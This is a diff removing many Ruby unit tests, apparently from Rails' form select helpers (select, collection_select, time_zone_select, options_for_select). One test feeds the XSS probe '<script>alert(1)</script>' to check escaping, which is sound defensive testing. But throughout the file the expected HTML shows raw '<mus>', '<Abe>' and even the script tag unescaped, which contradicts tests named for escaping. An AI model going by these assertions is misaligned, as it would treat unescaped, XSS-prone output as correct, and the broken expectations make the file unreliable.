-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest))
-    )
-  end
-
-  def test_select_without_multiple
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"></select>",
-      select(:post, :category, "", {}, :multiple => false)
-    )
-  end
-
-  def test_select_with_grouped_collection_as_nested_array
-    @post = Post.new
-
-    countries_by_continent = [
-      ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
-      ["Europe",   [["Denmark", "dk"], ["Ireland", "ie"]]],
-    ]
-
-    assert_dom_equal(
-      [
-        %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
-        %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
-        %Q{<option value="ie">Ireland</option></optgroup></select>},
-      ].join("\n"),
-      select("post", "origin", countries_by_continent)
-    )
-  end
-
-  def test_select_with_grouped_collection_as_hash
-    @post = Post.new
-
-    countries_by_continent = {
-      "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
-      "Europe"   => [["Denmark", "dk"], ["Ireland", "ie"]],
-    }
-
-    assert_dom_equal(
-      [
-        %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>},
-        %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
-        %Q{<option value="ie">Ireland</option></optgroup></select>},
-      ].join("\n"),
-      select("post", "origin", countries_by_continent)
-    )
-  end
-
-  def test_select_with_boolean_method
-    @post = Post.new
-    @post.allow_comments = false
-    assert_dom_equal(
-      "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
-      select("post", "allow_comments", %w( true false ))
-    )
-  end
-
-  def test_select_under_fields_for
-    @post = Post.new
-    @post.category = "<mus>"
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_fields_for_with_record_inherited_from_hash
-    map = Map.new
-
-    output_buffer = fields_for :map, map do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_index
-    @post = Post.new
-    @post.category = "<mus>"
-
-    output_buffer = fields_for :post, @post, :index => 108 do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_auto_index
-    @post = Post.new
-    @post.category = "<mus>"
-    def @post.to_param; 108; end
-
-    output_buffer = fields_for "post[]", @post do |f|
-      concat f.select(:category, %w( abe <mus> hest))
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_under_fields_for_with_string_and_given_prompt
-    @post = Post.new
-    options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.select(:category, options, :prompt => 'The prompt')
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_multiple_to_add_hidden_input
-    output_buffer =  select(:post, :category, "", {}, :multiple => true)
-    assert_dom_equal(
-      "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_multiple_and_without_hidden_input
-    output_buffer =  select(:post, :category, "", {:include_hidden => false}, :multiple => true)
-    assert_dom_equal(
-      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
-    output_buffer =  select(:post, :category, [], {include_hidden: false}, multiple: true, name: 'post[category][]')
-    assert_dom_equal(
-      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
-    output_buffer =  select(:post, :category, "", {}, :multiple => true, :disabled => true)
-    assert_dom_equal(
-      "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
-      output_buffer
-    )
-  end
-
-  def test_select_with_blank
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :include_blank => true)
-    )
-  end
-
-  def test_select_with_blank_as_string
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :include_blank => 'None')
-    )
-  end
-
-  def test_select_with_blank_as_string_escaped
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><None></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :include_blank => '<None>')
-    )
-  end
-
-  def test_select_with_default_prompt
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true)
-    )
-  end
-
-  def test_select_no_prompt_when_select_has_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true)
-    )
-  end
-
-  def test_select_with_given_prompt
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => 'The prompt')
-    )
-  end
-
-  def test_select_with_given_prompt_escaped
-    @post = Post.new
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"><The prompt></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => '<The prompt>')
-    )
-  end
-
-  def test_select_with_prompt_and_blank
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest), :prompt => true, :include_blank => true)
-    )
-  end
-
-  def test_empty
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
-      select("post", "category", [], :prompt => true, :include_blank => true)
-    )
-  end
-
-  def test_select_with_nil
-    @post = Post.new
-    @post.category = "othervalue"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
-      select("post", "category", [nil, "othervalue"])
-    )
-  end
-
-  def test_required_select
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true)
-    )
-  end
-
-  def test_required_select_with_include_blank_prompt
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
-    )
-  end
-
-  def test_required_select_with_prompt
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
-    )
-  end
-
-  def test_required_select_display_size_equals_to_one
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
-    )
-  end
-
-  def test_required_select_with_display_size_bigger_than_one
-    assert_dom_equal(
-      %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
-    )
-  end
-
-  def test_required_select_with_multiple_option
-    assert_dom_equal(
-      %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
-      select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
-    )
-  end
-
-  def test_select_with_fixnum
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
-      select("post", "category", [1], :prompt => true, :include_blank => true)
-    )
-  end
-
-  def test_list_of_lists
-    @post = Post.new
-    @post.category = ""
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
-      select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
-    )
-  end
-
-  def test_select_with_selected_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :selected => 'abe')
-    )
-  end
-
-  def test_select_with_index_option
-    @album = Album.new
-    @album.id = 1
-
-    expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
-
-    assert_dom_equal(
-      expected,
-      select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
-    )
-  end
-
-  def test_select_escapes_options
-    assert_dom_equal(
-      '<select id="post_title" name="post[title]"><script>alert(1)</script></select>',
-      select('post', 'title', '<script>alert(1)</script>')
-    )
-  end
-
-  def test_select_with_selected_nil
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\"><mus></option>\n<option value=\"hest\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :selected => nil)
-    )
-  end
-
-  def test_select_with_disabled_value
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :disabled => 'hest')
-    )
-  end
-
-  def test_select_not_existing_method_with_selected_value
-    @post = Post.new
-    assert_dom_equal(
-      "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
-      select("post", "locale", %w( en ru ), :selected => 'ru')
-    )
-  end
-
-  def test_select_with_prompt_and_selected_value
-    @post = Post.new
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
-      select("post", "category", %w( one two ), :selected => 'two', :prompt => true)
-    )
-  end
-
-  def test_select_with_disabled_array
-    @post = Post.new
-    @post.category = "<mus>"
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"<mus>\" selected=\"selected\"><mus></option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
-      select("post", "category", %w( abe <mus> hest ), :disabled => ['hest', 'abe'])
-    )
-  end
-
-  def test_select_with_range
-    @post = Post.new
-    @post.category = 0
-    assert_dom_equal(
-      "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
-      select("post", "category", 1..3)
-    )
-  end
-
-  def test_collection_select
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
-    )
-  end
-
-  def test_collection_select_under_fields_for
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    output_buffer = fields_for :post, @post do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_under_fields_for_with_index
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    output_buffer = fields_for :post, @post, :index => 815 do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_under_fields_for_with_auto_index
-    @post = Post.new
-    @post.author_name = "Babe"
-    def @post.to_param; 815; end
-
-    output_buffer = fields_for "post[]", @post do |f|
-      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
-    end
-
-    assert_dom_equal(
-      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      output_buffer
-    )
-  end
-
-  def test_collection_select_with_blank_and_style
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, "style" => "width: 200px")
-    )
-  end
-
-  def test_collection_select_with_blank_as_string_and_style
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => 'No Selection' }, "style" => "width: 200px")
-    )
-  end
-
-  def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
-
-    # Should suffix default name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true)
-
-    # Shouldn't suffix custom name with [].
-    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true, :name => 'post[author_name][]' }, :multiple => true)
-  end
-
-  def test_collection_select_with_blank_and_selected
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="<Abe>" selected="selected"><Abe></option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", {:include_blank => true, :selected => "<Abe>"})
-    )
-  end
-
-  def test_collection_select_with_disabled
-    @post = Post.new
-    @post.author_name = "Babe"
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", :disabled => 'Cabe')
-    )
-  end
-
-  def test_collection_select_with_proc_for_value_method
-    @post = Post.new
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
-      collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
-    )
-  end
-
-  def test_collection_select_with_proc_for_text_method
-    @post = Post.new
-
-    assert_dom_equal(
-      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
-      collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
-    )
-  end
-
-  def test_time_zone_select
-    @firm = Firm.new("D")
-    html = time_zone_select( "firm", "time_zone" )
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_under_fields_for
-    @firm = Firm.new("D")
-
-    output_buffer = fields_for :firm, @firm do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-
-    assert_dom_equal(
-      "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_under_fields_for_with_index
-    @firm = Firm.new("D")
-
-    output_buffer = fields_for :firm, @firm, :index => 305 do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-
-    assert_dom_equal(
-      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_under_fields_for_with_auto_index
-    @firm = Firm.new("D")
-    def @firm.to_param; 305; end
-
-    output_buffer = fields_for "firm[]", @firm do |f|
-      concat f.time_zone_select(:time_zone)
-    end
-
-    assert_dom_equal(
-      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" +
-      "<option value=\"A\">A</option>\n" +
-      "<option value=\"B\">B</option>\n" +
-      "<option value=\"C\">C</option>\n" +
-      "<option value=\"D\" selected=\"selected\">D</option>\n" +
-      "<option value=\"E\">E</option>" +
-      "</select>",
-      output_buffer
-    )
-  end
-
-  def test_time_zone_select_with_blank
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, :include_blank => true)
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"\"></option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_blank_as_string
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, :include_blank => 'No Zone')
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"\">No Zone</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil, {},
-      "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
-      :style => "color: red")
-  end
-
-  def test_time_zone_select_with_blank_and_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil,
-      { :include_blank => true }, "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"\"></option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { :include_blank => true }, :style => "color: red")
-  end
-
-  def test_time_zone_select_with_blank_as_string_and_style
-    @firm = Firm.new("D")
-    html = time_zone_select("firm", "time_zone", nil,
-      { :include_blank => 'No Zone' }, "style" => "color: red")
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" +
-                 "<option value=\"\">No Zone</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
-      { :include_blank => 'No Zone' }, :style => "color: red")
-  end
-
-  def test_time_zone_select_with_priority_zones
-    @firm = Firm.new("D")
-    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
-    html = time_zone_select("firm", "time_zone", zones )
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_priority_zones_as_regexp
-    @firm = Firm.new("D")
-
-    @fake_timezones.each_with_index do |tz, i|
-      tz.stubs(:=~).returns(i.zero? || i == 3)
-    end
-
-    html = time_zone_select("firm", "time_zone", /A|D/)
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_priority_zones_as_regexp_using_grep_finds_no_zones
-    @firm = Firm.new("D")
-
-    priority_zones = /A|D/
-    @fake_timezones.each do |tz|
-      priority_zones.stubs(:===).with(tz).raises(Exception)
-    end
-
-    html = time_zone_select("firm", "time_zone", priority_zones)
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
-                 "<option value=\"A\">A</option>\n" +
-                 "<option value=\"B\">B</option>\n" +
-                 "<option value=\"C\">C</option>\n" +
-                 "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                 "<option value=\"E\">E</option>" +
-                 "</select>",
-                 html
-  end
-
-  def test_time_zone_select_with_default_time_zone_and_nil_value
-     @firm = Firm.new()
-     @firm.time_zone = nil
-
-     html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-     assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                   "<option value=\"A\">A</option>\n" +
-                   "<option value=\"B\" selected=\"selected\">B</option>\n" +
-                   "<option value=\"C\">C</option>\n" +
-                   "<option value=\"D\">D</option>\n" +
-                   "<option value=\"E\">E</option>" +
-                   "</select>",
-                   html
-  end
-
-  def test_time_zone_select_with_default_time_zone_and_value
-    @firm = Firm.new('D')
-
-    html = time_zone_select( "firm", "time_zone", nil, :default => 'B' )
-    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" +
-                  "<option value=\"A\">A</option>\n" +
-                  "<option value=\"B\">B</option>\n" +
-                  "<option value=\"C\">C</option>\n" +
-                  "<option value=\"D\" selected=\"selected\">D</option>\n" +
-                  "<option value=\"E\">E</option>" +
-                  "</select>",
-                  html
-  end
-
-  def test_options_for_select_with_element_attributes
-    assert_dom_equal(
-      "<option value=\"<Denmark>\" class=\"bold\"><Denmark></option>\n<option value=\"USA\" onclick=\"alert('Hello World');\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
-      options_for_select([ [ "<Denmark>", { :class => 'bold' } ], [ "USA", { :onclick => "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
-    )
-  end
-
-  def test_options_for_select_with_data_element
-    assert_dom_equal(
-      "<option value=\"<Denmark>\" data-test=\"bold\"><Denmark></option>",
-      options_for_select([ [ "<Denmark>", { :data => { :test => 'bold' } } ] ])
-    )
-  end
-
-  def test_options_for_select_with_data_element_with_special_characters
-    assert_dom_equal(
-      "<option value=\"<Denmark>\" data-test=\"<bold>\"><Denmark></option>",
-      options_for_select([ [ "<Denmark>", { :data => { :test => '<bold>' } } ] ])
-    )
-  end
-
-  def test_options_for_select_with_element_attributes_and_selection
-    assert_dom_equal(
-      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
-      options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], "USA")
-    )
-  end
-
-  def test_options_for_select_with_element_attributes_and_selection_array
-    assert_dom_equal(
-      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
-      options_for_select([ "<Denmark>", [ "USA", { :class => 'bold' } ], "Sweden" ], [ "USA", "Sweden" ])
-    )
-  end
-
